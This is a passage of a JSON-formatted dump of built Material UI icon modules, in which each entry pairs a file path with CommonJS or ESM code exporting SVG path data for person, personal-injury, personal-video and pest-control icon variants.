    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10\",\n  cy: \"8\",\n  r: \"4\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.35 14.01C7.62 13.91 2 15.27 2 18v2h9.54c-2.47-2.76-1.23-5.89-1.19-5.99m9.08 4.01c.36-.59.57-1.28.57-2.02 0-2.21-1.79-4-4-4s-4 1.79-4 4 1.79 4 4 4c.74 0 1.43-.22 2.02-.57L20.59 22 22 20.59zM16 18c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"1\")], 'PersonSearchSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonSearchTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 18c.22-.72 3.31-2 6-2 0-.7.13-1.37.35-1.99C7.62 13.91 2 15.27 2 18v2h9.54c-.52-.58-.93-1.25-1.19-2zm6-5c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .89 2 2 0 1.1-.9 2-2 2s-2-.9-2-2c0-1.11.9-2 2-2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.35 18s-.35-.79-.35-2c-2.69 0-5.77 1.28-6 2z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.43 18.02c.36-.59.57-1.28.57-2.02 0-2.21-1.79-4-4-4s-4 1.79-4 4 1.79 4 4 4c.74 0 1.43-.22 2.02-.57L20.59 22 22 20.59c-1.5-1.5-.79-.8-2.57-2.57M16 18c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10\",\n  cy: \"9\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"3\")], 'PersonSearchTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonSearchTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 18c.22-.72 3.31-2 6-2 0-.7.13-1.37.35-1.99C7.62 13.91 2 15.27 2 18v2h9.54c-.52-.58-.93-1.25-1.19-2zm6-5c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .89 2 2 0 1.1-.9 2-2 2s-2-.9-2-2c0-1.11.9-2 2-2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.35 18s-.35-.79-.35-2c-2.69 0-5.77 1.28-6 2z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.43 18.02c.36-.59.57-1.28.57-2.02 0-2.21-1.79-4-4-4s-4 1.79-4 4 1.79 4 4 4c.74 0 1.43-.22 2.02-.57L20.59 22 22 20.59c-1.5-1.5-.79-.8-2.57-2.57M16 18c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10\",\n  cy: \"9\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"3\")], 'PersonSearchTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 12c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0 2c-2.67 0-8 1.34-8 4v2h16v-2c0-2.66-5.33-4-8-4\"\n}), 'PersonSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 12c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0 2c-2.67 0-8 1.34-8 4v2h16v-2c0-2.66-5.33-4-8-4\"\n}), 'PersonSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 16c-2.69 0-5.77 1.28-6 2h12c-.2-.71-3.3-2-6-2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"8\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 14c-2.67 0-8 1.34-8 4v2h16v-2c0-2.66-5.33-4-8-4m-6 4c.22-.72 3.31-2 6-2 2.7 0 5.8 1.29 6 2zm6-6c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2\"\n}, \"2\")], 'PersonTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 16c-2.69 0-5.77 1.28-6 2h12c-.2-.71-3.3-2-6-2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"8\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 14c-2.67 0-8 1.34-8 4v2h16v-2c0-2.66-5.33-4-8-4m-6 4c.22-.72 3.31-2 6-2 2.7 0 5.8 1.29 6 2zm6-6c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2\"\n}, \"2\")], 'PersonTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonalInjury.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 6c0-2.21 1.79-4 4-4s4 1.79 4 4-1.79 4-4 4-4-1.79-4-4m9 16h1c1.1 0 2-.9 2-2v-4.78c0-1.12-.61-2.15-1.61-2.66-.43-.22-.9-.43-1.39-.62zm-4.66-5L15 11.33c-.93-.21-1.93-.33-3-.33-2.53 0-4.71.7-6.39 1.56-1 .51-1.61 1.54-1.61 2.66V22h2.34c-.22-.45-.34-.96-.34-1.5C6 18.57 7.57 17 9.5 17zM10 22l1.41-3H9.5c-.83 0-1.5.67-1.5 1.5S8.67 22 9.5 22z\"\n}), 'PersonalInjury');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonalInjury.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 6c0-2.21 1.79-4 4-4s4 1.79 4 4-1.79 4-4 4-4-1.79-4-4m9 16h1c1.1 0 2-.9 2-2v-4.78c0-1.12-.61-2.15-1.61-2.66-.43-.22-.9-.43-1.39-.62zm-4.66-5L15 11.33c-.93-.21-1.93-.33-3-.33-2.53 0-4.71.7-6.39 1.56-1 .51-1.61 1.54-1.61 2.66V22h2.34c-.22-.45-.34-.96-.34-1.5C6 18.57 7.57 17 9.5 17zM10 22l1.41-3H9.5c-.83 0-1.5.67-1.5 1.5S8.67 22 9.5 22z\"\n}), 'PersonalInjury');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonalInjuryOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 10c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m6.39 8.56C16.71 11.7 14.53 11 12 11s-4.71.7-6.39 1.56C4.61 13.07 4 14.1 4 15.22V22h2v-6.78c0-.38.2-.72.52-.88C7.71 13.73 9.63 13 12 13c.76 0 1.47.07 2.13.2l-1.55 3.3H9.75C8.23 16.5 7 17.73 7 19.25S8.23 22 9.75 22H18c1.1 0 2-.9 2-2v-4.78c0-1.12-.61-2.15-1.61-2.66M10.94 20H9.75c-.41 0-.75-.34-.75-.75s.34-.75.75-.75h1.89zM18 20h-4.85l2.94-6.27c.54.2 1.01.41 1.4.61.31.16.51.5.51.88z\"\n}), 'PersonalInjuryOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonalInjuryOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 10c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m6.39 8.56C16.71 11.7 14.53 11 12 11s-4.71.7-6.39 1.56C4.61 13.07 4 14.1 4 15.22V22h2v-6.78c0-.38.2-.72.52-.88C7.71 13.73 9.63 13 12 13c.76 0 1.47.07 2.13.2l-1.55 3.3H9.75C8.23 16.5 7 17.73 7 19.25S8.23 22 9.75 22H18c1.1 0 2-.9 2-2v-4.78c0-1.12-.61-2.15-1.61-2.66M10.94 20H9.75c-.41 0-.75-.34-.75-.75s.34-.75.75-.75h1.89zM18 20h-4.85l2.94-6.27c.54.2 1.01.41 1.4.61.31.16.51.5.51.88z\"\n}), 'PersonalInjuryOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonalInjuryRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 6c0-2.21 1.79-4 4-4s4 1.79 4 4-1.79 4-4 4-4-1.79-4-4m9 16h1c1.1 0 2-.9 2-2v-4.78c0-1.12-.61-2.15-1.61-2.66-.43-.22-.9-.43-1.39-.62zm-4.66-5L15 11.33c-.93-.21-1.93-.33-3-.33-2.53 0-4.71.7-6.39 1.56-1 .51-1.61 1.54-1.61 2.66V22h2.34c-.22-.45-.34-.96-.34-1.5C6 18.57 7.57 17 9.5 17zM10 22l1.41-3H9.5c-.83 0-1.5.67-1.5 1.5S8.67 22 9.5 22z\"\n}), 'PersonalInjuryRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonalInjuryRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 6c0-2.21 1.79-4 4-4s4 1.79 4 4-1.79 4-4 4-4-1.79-4-4m9 16h1c1.1 0 2-.9 2-2v-4.78c0-1.12-.61-2.15-1.61-2.66-.43-.22-.9-.43-1.39-.62zm-4.66-5L15 11.33c-.93-.21-1.93-.33-3-.33-2.53 0-4.71.7-6.39 1.56-1 .51-1.61 1.54-1.61 2.66V22h2.34c-.22-.45-.34-.96-.34-1.5C6 18.57 7.57 17 9.5 17zM10 22l1.41-3H9.5c-.83 0-1.5.67-1.5 1.5S8.67 22 9.5 22z\"\n}), 'PersonalInjuryRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonalInjurySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 6c0-2.21 1.79-4 4-4s4 1.79 4 4-1.79 4-4 4-4-1.79-4-4m9 16h1c1.1 0 2-.9 2-2v-4.78c0-1.12-.61-2.15-1.61-2.66-.43-.22-.9-.43-1.39-.62zm-4.66-5L15 11.33c-.93-.21-1.93-.33-3-.33-2.53 0-4.71.7-6.39 1.56-1 .51-1.61 1.54-1.61 2.66V22h2.34c-.22-.45-.34-.96-.34-1.5C6 18.57 7.57 17 9.5 17zM10 22l1.41-3H9.5c-.83 0-1.5.67-1.5 1.5S8.67 22 9.5 22z\"\n}), 'PersonalInjurySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonalInjurySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 6c0-2.21 1.79-4 4-4s4 1.79 4 4-1.79 4-4 4-4-1.79-4-4m9 16h1c1.1 0 2-.9 2-2v-4.78c0-1.12-.61-2.15-1.61-2.66-.43-.22-.9-.43-1.39-.62zm-4.66-5L15 11.33c-.93-.21-1.93-.33-3-.33-2.53 0-4.71.7-6.39 1.56-1 .51-1.61 1.54-1.61 2.66V22h2.34c-.22-.45-.34-.96-.34-1.5C6 18.57 7.57 17 9.5 17zM10 22l1.41-3H9.5c-.83 0-1.5.67-1.5 1.5S8.67 22 9.5 22z\"\n}), 'PersonalInjurySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonalInjuryTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m-1.06 16H9.75c-.41 0-.75-.34-.75-.75s.34-.75.75-.75h1.89zM18 20h-4.85l2.94-6.27c.54.2 1.01.41 1.4.61.31.16.51.5.51.88zm-8.25 2C8.23 22 7 20.77 7 19.25s1.23-2.75 2.75-2.75h2.83l1.55-3.3c-.66-.13-1.37-.2-2.13-.2-2.37 0-4.29.73-5.48 1.34-.32.16-.52.5-.52.88V22z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 10c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m6.39 8.56C16.71 11.7 14.53 11 12 11s-4.71.7-6.39 1.56C4.61 13.07 4 14.1 4 15.22V22h2v-6.78c0-.38.2-.72.52-.88C7.71 13.73 9.63 13 12 13c.76 0 1.47.07 2.13.2l-1.55 3.3H9.75C8.23 16.5 7 17.73 7 19.25S8.23 22 9.75 22H18c1.1 0 2-.9 2-2v-4.78c0-1.12-.61-2.15-1.61-2.66M10.94 20H9.75c-.41 0-.75-.34-.75-.75s.34-.75.75-.75h1.89zM18 20h-4.85l2.94-6.27c.54.2 1.01.41 1.4.61.31.16.51.5.51.88z\"\n}, \"1\")], 'PersonalInjuryTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonalInjuryTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m-1.06 16H9.75c-.41 0-.75-.34-.75-.75s.34-.75.75-.75h1.89zM18 20h-4.85l2.94-6.27c.54.2 1.01.41 1.4.61.31.16.51.5.51.88zm-8.25 2C8.23 22 7 20.77 7 19.25s1.23-2.75 2.75-2.75h2.83l1.55-3.3c-.66-.13-1.37-.2-2.13-.2-2.37 0-4.29.73-5.48 1.34-.32.16-.52.5-.52.88V22z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 10c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m6.39 8.56C16.71 11.7 14.53 11 12 11s-4.71.7-6.39 1.56C4.61 13.07 4 14.1 4 15.22V22h2v-6.78c0-.38.2-.72.52-.88C7.71 13.73 9.63 13 12 13c.76 0 1.47.07 2.13.2l-1.55 3.3H9.75C8.23 16.5 7 17.73 7 19.25S8.23 22 9.75 22H18c1.1 0 2-.9 2-2v-4.78c0-1.12-.61-2.15-1.61-2.66M10.94 20H9.75c-.41 0-.75-.34-.75-.75s.34-.75.75-.75h1.89zM18 20h-4.85l2.94-6.27c.54.2 1.01.41 1.4.61.31.16.51.5.51.88z\"\n}, \"1\")], 'PersonalInjuryTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonalVideo.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.11 0-2 .89-2 2v12c0 1.1.89 2 2 2h5v2h8v-2h5c1.1 0 1.99-.9 1.99-2L23 5c0-1.11-.9-2-2-2m0 14H3V5h18z\"\n}), 'PersonalVideo');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonalVideo.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.11 0-2 .89-2 2v12c0 1.1.89 2 2 2h5v2h8v-2h5c1.1 0 1.99-.9 1.99-2L23 5c0-1.11-.9-2-2-2m0 14H3V5h18z\"\n}), 'PersonalVideo');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonalVideoOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.11 0-2 .89-2 2v12c0 1.1.89 2 2 2h5v2h8v-2h5c1.1 0 1.99-.9 1.99-2L23 5c0-1.11-.9-2-2-2m0 14H3V5h18z\"\n}), 'PersonalVideoOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonalVideoOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.11 0-2 .89-2 2v12c0 1.1.89 2 2 2h5v2h8v-2h5c1.1 0 1.99-.9 1.99-2L23 5c0-1.11-.9-2-2-2m0 14H3V5h18z\"\n}), 'PersonalVideoOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonalVideoRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h5v1c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-1h5c1.1 0 1.99-.9 1.99-2L23 5c0-1.11-.9-2-2-2m-1 14H4c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1h16c.55 0 1 .45 1 1v10c0 .55-.45 1-1 1\"\n}), 'PersonalVideoRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonalVideoRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h5v1c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-1h5c1.1 0 1.99-.9 1.99-2L23 5c0-1.11-.9-2-2-2m-1 14H4c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1h16c.55 0 1 .45 1 1v10c0 .55-.45 1-1 1\"\n}), 'PersonalVideoRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonalVideoSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 3H1v16h7v2h8v-2h6.99zm-2 14H3V5h18z\"\n}), 'PersonalVideoSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonalVideoSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 3H1v16h7v2h8v-2h6.99zm-2 14H3V5h18z\"\n}), 'PersonalVideoSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonalVideoTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5h18v12H3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.11 0-2 .89-2 2v12c0 1.1.89 2 2 2h5v2h8v-2h5c1.1 0 1.99-.9 1.99-2L23 5c0-1.11-.9-2-2-2m0 14H3V5h18z\"\n}, \"1\")], 'PersonalVideoTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonalVideoTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5h18v12H3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.11 0-2 .89-2 2v12c0 1.1.89 2 2 2h5v2h8v-2h5c1.1 0 1.99-.9 1.99-2L23 5c0-1.11-.9-2-2-2m0 14H3V5h18z\"\n}, \"1\")], 'PersonalVideoTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PestControl.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 15v-2h-3.07c-.05-.39-.12-.77-.22-1.14l2.58-1.49-1-1.73L16.92 10c-.28-.48-.62-.91-.99-1.29.04-.23.07-.46.07-.71 0-.8-.24-1.55-.65-2.18L17 4.17l-1.41-1.41-1.72 1.72c-1.68-.89-3.1-.33-3.73 0L8.41 2.76 7 4.17l1.65 1.65C8.24 6.45 8 7.2 8 8c0 .25.03.48.07.72-.37.38-.71.81-.99 1.28L4.71 8.63l-1 1.73 2.58 1.49c-.1.37-.17.75-.22 1.14H3v2h3.07c.05.39.12.77.22 1.14l-2.58 1.49 1 1.73L7.08 18c1.08 1.81 2.88 3 4.92 3s3.84-1.19 4.92-3l2.37 1.37 1-1.73-2.58-1.49c.1-.37.17-.75.22-1.14H21zm-8 2h-2v-6h2z\"\n}), 'PestControl');"
  },
  {
    "path": "packages/mui-icons-material/lib/PestControl.mjs",
